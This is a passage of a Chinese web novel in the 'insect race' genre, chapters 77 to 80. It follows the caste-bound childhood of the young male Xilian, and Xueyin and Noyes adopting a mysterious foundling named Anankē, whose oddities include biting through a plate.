他轻盈地从海边的座椅上跳下,正准备转身离开。 面前还残留着寒气的沙地上,站着一个小小身影。 身无片缕,浑身上下湿漉漉的。黑色的短发紧贴在苍白的额头上,几道细细的黑色锁链,勉强缠绕在身体上聊作遮掩。 他就那样怔怔地站着,一双纯黑色的眼眸黯淡,望向雪因。 雪因没有多想,立刻脱下自己的外套,疾步上前,将虫崽冰冷湿透小身体紧紧裹住,一把抱进怀里。 “你怎么会在这里?” “你的家虫呢?把你这么小的虫崽独自丢在这种地方,实在太不负责任了!别怕……”雪因顿了顿,确实会有虫崽不喜欢雌虫崽,于是干脆不管或者虐待,但他还是愤愤不平,“别怕,你的手好冷。我先带你回去,这样会生病的。” 雪因慌忙掏出通讯器联络诺伊斯,简单说明情况后,便抱着虫崽快步朝家的方向跑去。虫崽身上太冷了,这样下去迟早得生病。 释放出温和的雄虫信息素,试图安抚。信息素很顺利地被接纳了,虫崽没有丝毫反抗。 也没有说话,只是顺从地伸出冰冷小手,回抱住雪因的脖颈,将脸颊乖乖地靠在雪因的怀中。 “对了,你叫什么名字?” 第77章 过渡-另一只虫崽/帝星…… “我、我叫希利安。” 说话的小雄虫约摸五岁,异常精致漂亮,就像照着圣殿里天使的模样长的一样,雪白长发及腰,白皙得在阳光中甚至反射出一圈圣光,眼眸更是高贵的紫罗兰色,一闪一闪扑簌着。 “我当然知道~怎么突然说起这个。”对面小豆丁雄虫伸出尾钩戳了戳希利安,试图用尾钩卷起对方的尾钩亲昵贴贴。 希利安微微侧身,尾钩灵巧地垂落避开接触,露出甜甜的笑:“老师说我长大些或许有机会去那边…我想先练习怎么介绍自己。” 他伸出手,指着海的另一边中央的白塔,与他们隔着海,能隐约看到白塔上长着漂亮翅膀的几只小豆丁背着沉重的包艰难绕着白塔跌跌撞撞的学飞,紫眸掠过一丝羡慕。 “哪有什么好去的。我雄父说我们只需要玩就好了…好嘛好嘛,你练吧。”小豆丁干脆坐下一旁秋千上。靠着椅背,团起包子脸认真聆听着。 “今年五岁,我的雄父是…”希利安开始背诵,声音清脆。 “不对不对,我雄父说介绍的时候说姓氏就好,其他随便说就行。对了,你姓什么?听说你雄父很厉害…我雄父说他叫殿下。” “……”希利安的眼帘轻轻垂下,“我不知道。” “哇,那你记性还真有够差的。”珀西天真地嚷嚷。 希利安立刻鼓起了脸颊,“我才没有记性差!我是……我……”他别过小脸,刻意嘟囔着,确保小豆丁能听到,“我要是知道的事情,一定能记得牢牢的。” “这样啊……”珀西歪了歪头,认真思考了一下这个难题,凑近些,热心地小声说,“那等我下次回家,偷偷帮你问问?我雄父好像知道很多事!” 目的达成。希利安轻轻点头。 他从破壳起就一直待在这里,雌父雄父什么的只在朋友的对话间听说过。他试过问很多抚育虫,但都对此避而不答。 “哎呀,好啦好啦,不说这个了!”珀西很快把这点承诺抛在脑后,心思跳回了最爱的游戏,尾巴尖欢快地晃动着,整个身子亲昵地朝希利安扑抱过来,“来玩嘛来玩嘛!别学那些没用的啦~我雄父总说,像我们这样的宝贝虫崽,这辈子只要开开心心就好啦!” 带着阳光和奶味的热烈气息扑来。 希利安的身体一僵。他并非讨厌珀西,只是…只是不喜欢这种‘只要开心就好’的世界,他就着被扑的力道,小手抵在珀西暖呼呼的肩膀上,将两虫的距离拉开了一些。 不一样。 也不想一样。 他顺势在柔软的草地上坐了下来,蜷起腿,伸手将脚边边角翻卷的旧书抱到膝头。他低下头目光落在泛黄的书页上:“我再自己看一小会儿。” “这里面到底有什么好看的呀…每次见你都拿着书,多没意思。”珀西嘟囔着,完全无法理解。 但他也没有走开,只是学着希利安的样子,一下坐在旁边的草地上,托着腮,眨巴着眼睛,安安静静地陪着。 “希利安。” 西蒙斯老师的声音从后面传来,总是那么温柔,那么一成不变。 希利安装作不小心翻开关于精神力阈值的那几页,这本书还是他找了很久从杂物间垫着桌腿下方找到的。 平日课程日复一日都是如何享受,教导他们如何辨认最稀有的甜点,如何让游戏更有趣,以及用怎么指挥玩弄雌虫才会显得既骄纵又强势狠厉。 像梦,像彩色的泡泡,轻盈、漂亮,但一戳就破,什么也留不下。 他抬起头,转向老师,脸上露出乖乖的笑。 “对不起,老师,我看得太入神了。”他先软软地认错,尾音拖得长长的,最受宠的虫崽总该是这样。伸出细细白白的手指,小心地指着图上最高最陡的那条线,抬起眼睛,里面装满好奇:“老师,对岸塔里的哥哥们飞得那么高、那么辛苦的时候…他们身体里的‘那种力量’,是不是就像这根红线一样,会‘咻——’地一下,变得特别特别厉害呀?” 老师走过来时,眼睛先看了一下那本书,然后才看他的脸。“我的小希利安,怎么想起问这个?什么精神力呀,都是那些雌虫和这本故事书里骗虫的,我们这里的雄虫呀,没有那种东西,也不需要那个。” “……” 希利安沉默一瞬,立刻恢复天真的模样,一字一句回答道:“可是他们看起来真的好厉害呀,我要是以后,也能努力爬到那么高的地方去看看就好了。” “你们现在还小呢,最要紧的就是每天开开心心的。别去看这些没用的东西,累着我们聪明的小脑袋瓜,好不好?你看,外面天气多好,去和大家玩捉迷藏,或者看看新送来的玩具。” “要是这些都不喜欢……老师记得,孵化室最近有几只小雌虫破壳了。他们的翅膀还没长硬呢,跌跌撞撞的,可有意思了。你想不想…让他们陪你玩?老师可以给你找一根最轻最漂亮的小鞭子,手柄上镶着彩虹贝壳的那种。你可以把他们翅膀拆下来,教他们怎么听话…这可是只有最受宠爱的小雄虫才有的游戏哦。” “……” 西蒙斯老师说着,很自然地弯下腰,手掌覆在了书上,书就在他掌心化作了灰烬,随风飘散。 “老师!我的书……”希利安眼圈瞬间泛红。 这次不是演的,这本书是他花了很大心思才藏住的,心痛得让他身体微微发抖,但还是努力分析着。 老师销毁它的动作太快了,像条件反射一样。所以老师是认为这本书,或者说书里的内容,是‘错误’的,是必须立刻被清除的。 但既然是错误的,为什么它会被如此严谨地编写印刷成册?为什么会有这样详细到标注年龄与阈值的图表? 只能说明,这种书本来就不是给他们这样的雄虫准备的。是属于另一个地方的,属于对岸那些哥哥们的。而他们这里,被允许拥有的,只有享受和游戏。 果然。 “这些不适合你们看。”西蒙斯的解释简洁,揉了揉希利安的头发,力道温和,企图把他错误的思绪揉散。 希利安吸着鼻子,让眼泪在眼眶里打转却不掉下来。他再次望向白塔,带着恳求:“我不看了……那我能去那边看看吗?就看看。” “希利安,”老师叹了口气,“别让老师为难。” 希利安低下头,不再说话。信息已经收集完毕:书是禁忌;白塔是禁忌;‘去看看’的请求是“为难”。 意味着那条界限不仅存在,而且被严密看守,甚至谈论它都是一种冒犯。 “别想这么多,只需要像大家一样就好啦。”说罢他转头,弯腰抱起呼呼大睡的珀西,“醒醒,我的小珀西。” 珀西迷迷糊糊睁眼,小胖手揉揉眼,“嗯?” “你雌父来看你了。” 珀西:! “希利安希利安~我雌父来看我啦~今天你家虫来看你么?” 希利安“……” 他抿了抿唇,低垂下眼眸。没有。他没有任何亲虫,甚至连自己的雌父雄父都不知道。 努力压下委屈,抬起头装作不在意,“我——” “希利安。”头顶落下西蒙斯温暖的手掌摸了摸他脑袋,“今天也有虫来看你噢。” “哇~我也要看我也要看!是你雌父么?”珀西好奇地追问。 “待会儿就知道啦。”西蒙斯保持着神秘的微笑,转向两只虫崽,“是在这里等吗?” 希利安一怔,但很快反应过来是谁,目光流连地掠过远方的白塔,“就在这里吧。” 西蒙斯从善如流地点头。 很快,两位成年雌虫的身影出现,珀西立刻冲上去,像颗小炮弹般冲进其中一位雌虫的怀里。他被高高抱起,亲昵的蹭蹭让他痒得咯咯直笑:“雌父~雌父~我好想你!” “雌父也想死我们家的小宝贝了。”珀西的雌父笑声爽朗,满脸宠溺。目光掠过希利安,眼底闪过惋惜。 希利安再一次将惋惜清晰地捕捉进眼底。 是了,这很常见。几乎外界来的每一个雌虫打量他的眼神都是这样。 但他还是不由自主地攥紧了衣摆,努力维持平静。 “希利安,这是你的雌父吗?看起来好厉害!”珀西从雌父肩头探头,看向另一位同来的雌虫。 雌虫脸上挂着标准而疏离的微笑,最引人注目的是他那双纯白色、不含任何情绪的眼瞳。 希利安摇摇头,目光落在洛伽南身上。果然是他。 听说洛伽南曾是雄父的准雌侍。每隔半年他都会准时出现,从不多言,确认完自己的健康状况后便很快离开。 却是唯一一个定期出现在希利安生命里,与‘家虫’二字勉强沾边的存在。 “好了,别打扰希利安,你雄父在客厅等你呢宝贝儿。”珀西雌父抱着他,朝洛伽南微微行礼,离开 “好耶!”珀西声音渐远,为他们留下空间。 这次照常,洛伽南的白色眼瞳‘看’向他,希利安立刻感觉到一股温和的力量掠过全身,迅速完成检查。随即洛伽南微微欠身,准备像以往一样转身离去。 “洛伽南。”希利安叫住了他,微微放松了下来,他知道这个雌虫对自己没有恶意,至少他愿意来看自己。于是他褪去了刻意装出的天真。 洛伽南停下脚步,白色的眼瞳转向他,没有焦距,看不出任何情绪表情,但希利安知道他在听。 “那边,”希利安再次指向那座白色的巨塔,“是什么地方?” “S级雄虫的专属培育所。”洛伽南的回答向来简洁,没有半分迂回。 果然。 希利安心中最后一丝侥幸熄灭。他抬起紫眸直视那双空洞的白瞳,问出了第二个问题,声音平稳透着一股执拗:“我的等级这辈子都去不了那里,是不是?” “是。” 希利安的心往下沉了沉,他没有时间流露失望,顺着这个答案,问出了盘旋心底已久的疑惑:“我雄父…是S级,对不对?” “是。” “那……我的雌父呢?” “抱歉。该信息目前无权对您公开。” “…”失落感蔓延,但希利安很快将其压下。转而问起另一个,“我雄父…是出身很厉害的家族吗?” “维斯特冕。帝星第一。” 希利安往前挪了一小步,离洛伽南近一点,又不会太近。“像我这样的等级,是否永远无法接触到我雄父曾经学习过的东西?” “目前制度如此,天赋等级决定培养路径。” 洛伽南的回答依然简洁。 “我…维斯特冕家族,是否只承认达到某种标准的后裔?” “家族核心资源的继承与特定天赋等级绑定。” 希利安没有再问下去。 他得到了足够的信息:天赋等级决定了一切——资源、教育、地位,乃至家族的认可。 “…我明白了。”希利安沉默了片刻,再次将目光投向那片隔海相望、象征着界限与特权的白塔。 海风吹拂起他雪白的发丝,紫罗兰色的眼眸深处燃起火苗,反而在冷静中燃得更执拗。 “没关系…我会很快就能过去的。” 洛伽南白色无机的眼瞳注视着他,片刻后行了一礼: “祝您,得偿所愿。” —— “你瞧见那边独自坐着的小家伙了么?就是那位的虫崽。” “看着倒是乖巧可爱,就是…啧,可惜了。听说是等级测出来不太理想,连维斯特冕家最基本的门槛都没摸着。至今没能冠上家族的姓氏,就这么不明不白地搁在这儿。” “莫里亚斯大人当初得知结果时,那脸色…呵,直骂晦气。送到这克斯安蒂星后,便再没过问只当没这回事。真是浪费殿下那么好的基因。” “?我听到的版本不一样。不是说,这小虫崽其实是墨尔庇斯军团长那边‘送’过来的么?” “是军团长送来,但‘是’军团长专门送来给莫里亚斯添堵的。当年怀蛋时闹得沸沸扬扬,莫里亚斯大人满心以为会是一只雄虫崽,谁承想被军团长摆了一道。现在送来这么个‘礼物’,谁信是亲生的?分明就是恶心他,这招可真够绝的。” “难怪现在莫里亚斯大人紧盯着洛伦兹皇太子,催他赶紧立新雌君、好诞育新的雄虫继承虫。” “雄虫崽哪是说生就能生的,这可得看虫神的旨意。” “如今大皇子…哦不,陛下登基。曾经风光无限的蒙特金德家族说倒就倒,爵位被废,家主至今还关在监狱里,连带着一群雌虫崽。也就皇太子念旧情,死撑着没签离婚协议。” “莫里亚斯现在急得跳脚,皇太子可不愿配合他生出新的雄虫崽。他恨不得立刻砸穿军团长留下的屏障,好把他唯一年轻、生育能力旺盛的宝贝雪因给弄回来。” 第78章 无法分割的血缘羁绊 小虫崽没有说话,只是抱着雪因的手微微收紧了些。 …… 还不等到家,诺伊斯便快步出现在雪因面前,眼眸扫过虫崽,询问道:“怎么回事?” “刚刚在弱海边捡到的。”雪因解释。 “让我来抱他吧,别累着了。”说着,诺伊斯便伸手想从雪因怀里接过虫崽。小虫崽却抬手甩开了他,明明力气不大,却轻而易举甩开了他的手。 诺伊斯一愣,刚要说些什么,目光恰好对上虫崽那双黝黑的眼眸。诺伊斯紫色的瞳孔深处掠过一丝被精神力侵入黑色痕迹。他毫无觉察,只觉心中一股暖流出现。他眨了眨眼,对陌生虫崽不合理出现的警惕与疑虑消散,转而满溢慈爱。 “我们先去奈孙先生那儿吧,”诺伊斯语气自然地说道,“他略通医理,让他给虫崽检查一下。” “好。” …… “奈孙先生。”雪因抱着虫崽踏入图书馆。 时近正午,馆内清静,奈孙闻声从堆积如山的书册后抬起头来——他容貌清雅、气质温和,岁月沉淀在眼眸里,显得格外宽厚可亲,在本地居民中颇受爱戴。墨色长发随着他动作散落,紫眸略带疑惑看向雪因。 雪因与诺伊斯交换了一个眼神,诺伊斯微微点头示意。于是雪因走上前,轻声说道:“先生,这虫崽是我在弱海边发现的。想请您看看…他一直不说话,不知道是不是生病了?”雪因有些着急。 “又捡了一个?”奈孙笑了笑,习惯性地猜测:“该不会又是城北那边的虫崽吧?知道你心善,总往你身边凑……”他边说边放下手中的书,朝他们走来。 诺伊斯与雪因平日住在城南,城北距离颇远,往返需近两日路程。自从诺伊斯接手城务以来,为了更好陪伴雪因简直非必要不加班,做到每日傍晚准时等候雪因‘下班’,也因此对北区的管理难免有所疏漏。北区治安没那么好,资源更匮乏。过去确实有过故意受伤、躺倒雪因面前以求救济的事,不过被诺伊斯整治后,已经很少有虫敢这样做了。 “喂喂,”诺伊斯闻言挑眉,“我家雄主是吃素的,我可不是。哪能那么容易就让虫碰瓷?” “是是是。”奈孙含笑应着,已走近虫崽身前,“让我看看,是谁家的小虫崽这么……”他的目光落在虫崽脸上,话语戛然而止。 “奈孙先生?”雪因疑惑地唤道。 “我……我……”奈孙如梦初醒般,猛地向后踉跄了两步。凝视着虫崽的眼眶竟不由自主地泛起一层湿润。 他忽然转过身去,声音颤抖:“抱歉……他……太像我去世的雌崽了。我…雪因,你们稍等一下,我去…”他没说完,狼狈的逃回了内室。 雪因困惑地望向诺伊斯,诺伊斯只是耸了耸肩。 “他这是怎么了?” “别问我,我也说不清。” “……算了。”雪因也没有多想,抱着虫崽走到一旁的沙发坐下。取出手帕,用温水浸湿,开始轻柔地擦拭虫崽沾满污渍的小脸。“奈孙先生本来就很奇怪,你还记得么?他一次见我的时候也这样,说我像他的雄崽。” 与奈孙相遇是他们刚入城那会。那时雪因沉睡了近半年才苏醒,醒来后便看到这个亚雌守在一旁,眼中满是哀伤。 见他醒来,奈孙眼中亮起,强撑着笑意问他叫什么?雄父叫什么? 好奇怪,明明一般默认平民虫是不会有雄父的,但奈孙像是笃定他一定有一样。雪因什么都没说,只是看着他低落的眼眸,简单说了句家里一切都好,奈孙这才像是松了一口气。 解释道自己曾经也有一家虫,见到雪因便不免触景生情,至少希望雪因能过得平安顺遂。 雪因表示,很牵强。 但是每只虫都有自己不愿意说的事,问太多就不礼貌了,于是他没有再多问。 只是自那以后,每次需要帮忙时,这个亚雌总是格外热心。他身边还跟着一只雌虫崽,具体年龄雪因倒是没有多问,总之比雪因年纪大很多,雪因猜和四哥差不多大。 诺伊斯说那只雌虫等级不高,大约B级,对二次进化后成了S级雌虫的诺伊斯来说构不成威胁。加上那个雌虫性子沉稳,平日只是协助奈孙打理杂务。诺伊斯试过问雌虫要不要来手下任职,雌虫拒绝了,表示更愿留在家中照料奈孙。 诺伊斯便不再勉强。 几年相处下来,两家关系倒也融洽和睦。 “我去看看奈孙先生。”雪因放下手帕,小脸干净不少的虫崽露出精致漂亮的脸,惹得雪因心头一软,“他好可爱。” “行了,别总夸雌虫可爱。” 说罢,诺伊斯忽觉背脊掠过一丝莫名的寒意,下意识地跳过了这个话题,“去吧,我在这儿看着他。” 于是雪因将虫崽放下。虫崽似是不舍,仍紧紧攥着雪因的衣袖。面对虫崽黝黑执着的眼眸,雪因平白生出几分心虚,他下意识地温声解释:“别怕,我很快就回来。” 虫崽没有为难他,默默地松开了手,乖得让雪因不由得摸了摸他的头…发质偏硬,不如雄虫柔软。雪因眨了眨眼,还是亲昵地轻轻捏了捏虫崽的脸颊,在虫崽不舍的眼神中转身离开。 “奈孙先生,您没事——”雪因推开奈孙只是虚虚掩上地房门,只见奈孙站在浴室的镜子前,面前堆满被泪水浸湿的纸巾,双眼通红。但雪因惊讶的是,奈孙身后出现了一条与他同色的尾钩!雪因迅速反手将门关严,慌乱地道歉:“对不起,我不是闯进来的…” 每只虫都有不愿示人的秘密,只是雪因也没有想到,奈孙同样是伪装成亚雌的雄虫。 奈孙闻声回头看了雪因一眼,慌乱地冷水浸湿毛巾敷在眼睛上。挪开时眼中的红血丝果然淡去不少。“没事,我……”他试图解释。 “没关系的,您不用说也可以。”雪因体贴地开口。 “不,我…”奈孙引着雪因走到房间的沙发旁坐下,扯过一只抱枕,将脸深深埋进去,声音闷闷地传来,“我没有骗你。我以前…曾有过许多虫崽。 雪因安静地听着,看着奈孙。他像是藏不住、无处宣泄,溢出来后便开始说起来。 “你也看到了,我是雄虫。但我做错了事…我溺爱我的虫崽们,导致他们长大后变得越发…残暴。我的雌君…他为了我,把虫崽犯下的错揽在自己身上,试图掩盖,但是失败了。他死了,我的虫崽们也都死了。我知道他们罪有应得,但是我没办法,我一看到他们就想起他们小时候乖乖趴在我怀里的样子,就像你的虫崽一样。”他擦了擦不断涌出的眼泪,接过雪因默默递来的纸巾。 “都过去了,”雪因轻声安慰。 “嗯…”奈孙抬起头,对着雪因笑,紫眸微微闪动。一瞬间的恍惚,竟然让雪因想起自己的雄父。 “你是个好虫崽。”奈孙拍了拍雪因的手,“来,我们一起去看看你的虫崽。” “……”雪因犹豫了一瞬,还是开口纠正道,“是我捡到的虫崽。” 奈孙:“……?” “您不觉得……这虫崽看起来特别亲切吗?”奈孙试探着问。 雪因认真地想了想,回答道:“确实亲切,但是我对所有的虫崽都感觉很亲切。您想说什么?” 奈孙闻言一怔,疑惑地蹙起眉头,低声喃喃道:“不应该啊……” “什么?” “没什么。”奈孙迅速掩饰过去,追问道,“你是说,你对所有虫崽都感到同样亲切?” “是这样的。”雪因点头。来到这里后他救助过不少虫崽,包括还是虫蛋状态的,无一例外都对他的信息素表现出极大的亲昵,喂养起来也都十分顺利。 “你难道不是由雄虫喂长大的?”这下奈孙是真的惊讶了,焦急站起身。褪去伪装后他不再掩饰,释放出精神力,仔仔细细、里里外外地为雪因检查了一遍,确认他身体健康无恙后,这才放下心来。 “您怎么知道?”雪因任由他检查,还是忍不住好奇地问。 奈孙:“……” 刚刚才确认的。 本来还不算十分肯定,这下可以断定雪因确实不是由雄虫养大的了。这虫崽被保护得未免太好了,心思都写脸上。 “你那雄父是怎么回事,都这么大了还这么不靠谱。你雌父也…唉,算了,不提了。”奈孙叹了口气,立刻转移了话题,“因为,由雄虫信息素滋养长大的虫崽,是能够隐约感知血缘联系。” “血缘?您的意思是,那个虫崽和我有血缘关系?” “……”奈孙的眼神凝固了一瞬,他小心翼翼地斟酌着,“你…你之前说过,你并没有虫崽,对吗?” “…嗯。”雪因的情绪低落下去。 “这样啊……”奈孙眼神复杂,但很快调整了语气,拉着雪因起身朝外走去,“遇到了就是缘分。我看那是个很乖的虫崽,你和诺伊斯在一起这么多年也没有虫崽,不如就当亲生的带回去养着吧?” …… 诺伊斯简直快局促死了。他不明白为什么只是一只小虫崽,就会让他感到这么不自在,但潜意识又告诉他这是‘合理’的。于是他只能挺直背脊,僵硬地坐在沙发最远的一端,与安静待在另一头的虫崽隔开安全距离。 看到雪因出来,他如释重负地松了口气。 虫崽也松了口气,黝黑眼眸亮了一瞬,立刻从沙发上跳下来,上前一把抱住了雪因的腿。雪因顺势弯腰,又将小家伙稳稳地抱进怀里,请奈孙为他做检查。 “看起来刚破壳不久…等级…”奈孙犹豫一瞬,似是疑惑,但至少表面探出的结果是这样,“大概是C级。” 诺伊斯闻言松了口气。不是高等级,那就不太像是阴谋——毕竟,没有谁会特意送一只低等级的虫崽来作为刺探。 “身体很健康。我这儿备有一些虫崽日常用的东西,本来是准备给偶尔来图书馆玩耍的小客虫们应急的,你们先拿去用吧。以后你们……”奈孙一边从柜子里取出用品,一边自然地嘱咐起来。 雪因还在疑惑他都没有表态说要收养,就看到诺伊斯和虫崽聚精会神地听着奈孙的叮嘱,一本正经地点头记着日后相处的注意事项。 ……好吧。 “对了,”奈孙转头问道,“你们给他取名了吗?” “阿南克。”虫崽声音奶声奶气地开口,立刻把脸埋回雪因怀中,又恢复了那副安静无害的模样。 “啊,好,阿南克。”奈孙笑了笑,伸手习惯性地想去揉揉阿南克的头顶。触及发丝顿了一下,随即面不改色地收回手。转而落在雪因柔软的发顶上揉了揉,还得是雄虫头发手感更熨帖些。 雪因:“……?” 于是奈孙快速收回手,调整好表情,弯下腰,对埋在雪因怀里的虫崽露出温和的笑容,“小阿南~欢迎你呀。” 第79章 手忙脚乱的雄虫 “诺伊斯大人?今天也来给雄主挑选衣物吗——”店长是位雌虫,夸张的卷曲金发像一只绵羊窝在头上,还随手插着几支精巧的仿真花。一手握着剪刀,转过身来。 “不,今天是想给我家虫崽买些穿的。”诺伊斯解释道,微微侧身,露出身后的雪因和虫崽。 雪因朝店长微微一笑,算是打了招呼。 雌虫店长乔布立刻放下剪刀,快速理了理自己的衣着,这才略显紧张地开口:“您、您有什么需要?真是的,”他略带责怪地瞥了诺伊斯一眼,“您也不提前说一声您雄主要来,瞧我这儿都没来得及收拾。” “没关系,”雪因温和地说,“只是需要给阿南买些合身的。” 阿南克还裹着雪因最初用来包裹他的衣物。既然决定要养,从奈孙那边回来后,他们自然来到这儿给虫崽添置些日常用品。 “是雌虫崽?哇,大人您好消息来得可真够快的。” 诺伊斯闻言微怔,下意识看向雪因,对方正专注地低头逗弄着怀里的虫崽。诺伊斯脸上勉强牵起一抹笑容,还是认下了,“是啊。” 乔布走近几步,仔细打量了一下阿南克,“唔,看看这边吧。”说罢他指向店铺角落,那是一面不起眼的地方,上边挂着各式各样的锁链与项圈。 诺伊斯与雪因同时愣住。 乔布瞧着两位一脸茫然的两位,顿时了然,笑了笑:“第一胎吧?不知道也正常。你们看看外面。” 雪因和诺伊斯依言朝店外望去。其实日常几乎见不到年龄很小的虫崽,更多是十岁往上。来往路虫中,不乏手中牵着半人高、形态各异的生物,没什么固定形态,长得都很有…创意。 这些生物眼神混沌,仅凭本能行动,通常被成年虫牢牢用锁链控制在身边散步,偶尔没控制住,或是遇见同类,这些生物便会睁着双眼、四眼、甚至乱长的眼睛,兴奋地纠缠在一起,张开布满利齿的大口互相撕咬。家虫往往只是瞥上一眼,根本懒得管,等分出胜负,才将血淋淋的生物随手拽住一条腿,拖回家去。 雪因一直以为,是这边流行饲养性情凶悍的宠物。 “对,这些就是雌虫崽。”乔布看着雪因震惊的表情,不由得笑出声来,“雌虫破壳后就能独立生存,但是没有开智,脑子不行还一身使不完的劲,麻烦得很。而且不及时宣泄精力,还可能影响后续进化。一般等级越低化形越晚,有些二十岁了才能化作人形,正式开始学习。在这之前,我们大部分都会将雌虫崽就这样栓着养,省得它们没轻没重,出去闯祸伤虫。” “听说帝星那边条件好,都会特意挑一些环境险峻但适合雌虫崽锻炼发泄的地方,放入一丝精神力给虫崽保命确保他们死不了,从破壳就丢进去,任它们嚯嚯。什么时候精力宣泄够了,长了脑子,能化形了,再接回来接受正统教育。” “咱们这儿没那条件,只能拴着养啦。对了,”乔布饶有兴致地看了看安静待在雪因怀里的阿南克,“你们家这小虫崽化形可真早。我还没见过这么小就能保持人形的雌虫崽呢。” 雪因顺着他的话语再次望向店外那些‘雌虫崽’,一时有些无言。 低头看了看怀中虽然安静、眼神清亮的小阿南,开口道:“要雄虫崽穿的衣服。” “雄虫崽的款式?”乔布有些讶异,“那料子娇贵,给雌崽穿可太浪费啦,他们下手没轻没重,几下就扯……”话说到一半,他瞥见诺伊斯投来的不悦目光,立刻识趣地改口,“好好好,您说了算。我这就先给您挑几套现成的。” “嗯。”诺伊斯向前半步,将雪因和阿南克挡在身后,“晚些我把虫崽的具体尺寸给你,这几天再帮忙赶制几套合身的。” “好嘞!”乔布手脚麻利地包好几套适合幼崽的精致衣物,递了过去。 “对了,”诺伊斯再次开口,“把你这里最好的布料拿一些给我。” “您这是又要亲手给雄主做?”乔布眼睛一亮,露出促狭的笑意,“那可巧了,这边刚进了一批据说是从星盗那儿流出来的帝星好料子,就是这价格嘛……” “不是问题。”诺伊斯干脆地打断。 “需要我代劳吗?您这么多年,连雄主的尺寸都捂得严严实实,非要自己动手。”乔布挑眉,调侃的意味更浓了。 “多管闲事。”诺伊斯耳尖泛起薄红,“再啰嗦,就考虑给你这店换个更安静的店主。” “是是是。” —— 刚回到住所,诺伊斯便提着大包小包去厨房归置东西。雪因一路抱着虫崽,不仅不觉得累,甚至感觉什么暖洋洋的气息流入身体,长久以来未曾得到充分补充的精神力似乎舒缓了不少。他想,这一定是因为家里添了新成员,心情愉悦的原因。 选好换洗衣物,雪因抱着阿南克走向浴室。一直安静的小家伙有些不淡定了,立刻从他怀里挣脱下来,耳尖红红的:“阿、阿南克自己可以洗。” “你会吗?”雪因表示怀疑,就算再可爱的小虫崽,也不可以提任性的要求。 “会、会的。” “……”雪因犹豫一瞬,“那我帮帮你把温水放好。” 阿南克一脸严肃地点点头。 “诺伊斯。”雪因果断转身求援。说实话,他自己也不擅长这些日常琐事。每天都是诺伊斯负责弄好热水,服侍更衣,做得倒是比在帝星的侍虫还要细致周到——雪因拒绝承认是滤镜。 他曾在书房偶然发现,诺伊斯居然从帝星带来了一堆《雄虫服侍指南》之类的没用的东西。 “来了来了,”诺伊斯赶来,看见一大一小站在浴室门口,“刚才不是说,我先准备晚餐,再来处理阿南克么?您别着急。” 雪因瞥了他一眼。 “好好好,”诺伊斯立刻投降,领着小小的阿南克走进浴室,“看这里,这个是开关……水温和水量这样调节……” 很快他便出来了,轻轻带上门。听着里面响起的水声,雪因仍有些不放心:“他真的能照顾好自己吗?” “别担心,雌虫崽的生命力很强韧的。”诺伊斯搂住雪因,亲了一口,“而且,虫族可没那么容易出意外。而且您是雄虫,雌崽会感到不自在的。放心吧,您先去看看书,他很快就好了。” “好吧。”雪因嘴上应着脚步却没动,面露担忧。诺伊斯见状挑了挑眉,没再坚持,从旁边轻松搬来宽大柔软的单人沙发,将这位倔强的雄虫妥帖地安置进去,又塞了本书到他怀里:“那就坐在这儿等。” 雪因这才抬起头,蓝眸弯起,漾开笑意。 “抱。” 诺伊斯俯身,两虫又胡闹在一起。 …… 直到背后传来一道存在感极强晦暗不明的视线,诺伊斯背脊一凉,立刻松开雪因站直身体。 低头一看,只见阿南克已经走了出来,湿漉漉的黑发贴在额前,黝黑的眼眸正一眨不眨地盯着他。 诺伊斯略显尴尬地开口:“洗得还挺快……”顺手从一旁抽了条干净的湿手帕,俯身擦了擦雪因还带着湿意红润嘴角。 “十分钟了。”虫崽面无表情地开口,谴责道。 没等诺伊斯狡辩,阿南克就像颗小炮弹似的猛地冲进一旁正饶有兴致看戏的雪因怀中。努力蹭啊蹭,好半响终于把诺伊斯留下的气息覆盖过去,这才满意地安静下来,乖乖趴着不再乱动。 诺伊斯也早在阿南克冲入雪因怀中时,轻笑一声,识趣地转身回厨房继续忙碌。 雪因一手安抚着刚沐浴出来还带着水汽,还潮潮的虫崽。另一只手拿起刚才诺伊斯塞给他的书,继续翻阅。 阿南克身上味道莫名熟悉好闻,雪因不由得放松下来。 “你也想看吗?你认识字吗?”感受到虫崽的眼神,雪因温温柔柔的开口询问。 “您、您念给我听,阿南克就能记住。” “好。”于是雪因用漂亮的手指,一字一字地点着书页,轻声念道:“…” …… “来吃饭了。”诺伊斯在餐厅唤道。 雪因抱着虫崽走到餐桌旁,将他放进奈孙刚刚差虫送来的一堆用品中的虫崽餐椅上。 诺伊斯为雪因准备了用面包芯做成漂亮造型的三明治、精心垒放的嫩滑蛋羹、温热的加了些糖的星兽奶,还有一块抹茶蛋糕。 给阿南克的则是普通星兽奶、切片面包,以及一小碗制作蛋羹时剩下的边角料。 他那边给自己准备的就简单得多,面包边、没有星兽奶,切菜剩下的边角料混成一团,随便加了点酱料将就。 “你不多吃一点吗?”雪因问道,“对雌虫来说太清淡了。” “别担心,我的雄主,”诺伊斯解释道,“我处理政务的时候,会供应星兽肉作为职务配给。星兽肉腥味重能量驳杂,您不适合食用,是我们雌虫的主食。” “嗯。”雪因点点头,目光落在虫崽身上,还是把自己的那块小蛋糕推了过去。 “蛋糕在这种偏远地方可是很难弄到的,您还是要多顾着自己些。”诺伊斯语气里些许幽怨,但还是没有阻拦。 虫崽闻言,低垂着眼眸,将蛋糕碟子推回给雪因。 “大人的事情不用担心,”雪因温柔地笑了笑,“吃吧,快快长大。” 虫崽犹豫了一下,抬头对上雪因含笑而温柔的蓝色眼眸,伸手拿过蛋糕,犹豫一瞬—— ‘咯嘣’一声脆响,连带半个盘子同被他咬碎,咽了下去。 诺伊斯、雪因:“……?!” 第80章 过渡/诺伊斯的执念 五分钟后,他们又出现在了奈孙面前。 “奈孙先生!!您快看看我的虫崽!”雪因抱着阿南克,声音焦急,“他、他刚才把我的盘子吃掉了!” 阿南克知道自己可能闯了祸,有些无措地缩在雪因怀里,小手紧紧攥着他的衣襟。 “嗯?盘子带来了吗?”奈孙有些疑惑地抬起头。 “带来了。”一旁的诺伊斯将缺了一大块的盘子递了过去。 奈孙接过盘子,对着光仔细查看那道咬痕。切口异常平整,呈现出一个标准的月牙形。“牙口真不错,”他评价道,语气带着欣赏,“力道控制得也精准,周边几乎没有崩裂的小碎痕。” “嘶……不过这盘子确实不太好修复,看这材质是帝星的工艺吧?这种复合骨瓷在这儿可不好找替代品。不过别担心,我想办法帮你补补看。” 雪因:“……!我是说,他吃掉了我的盘子!他没事吗?我的虫崽身体会不会受伤?!” 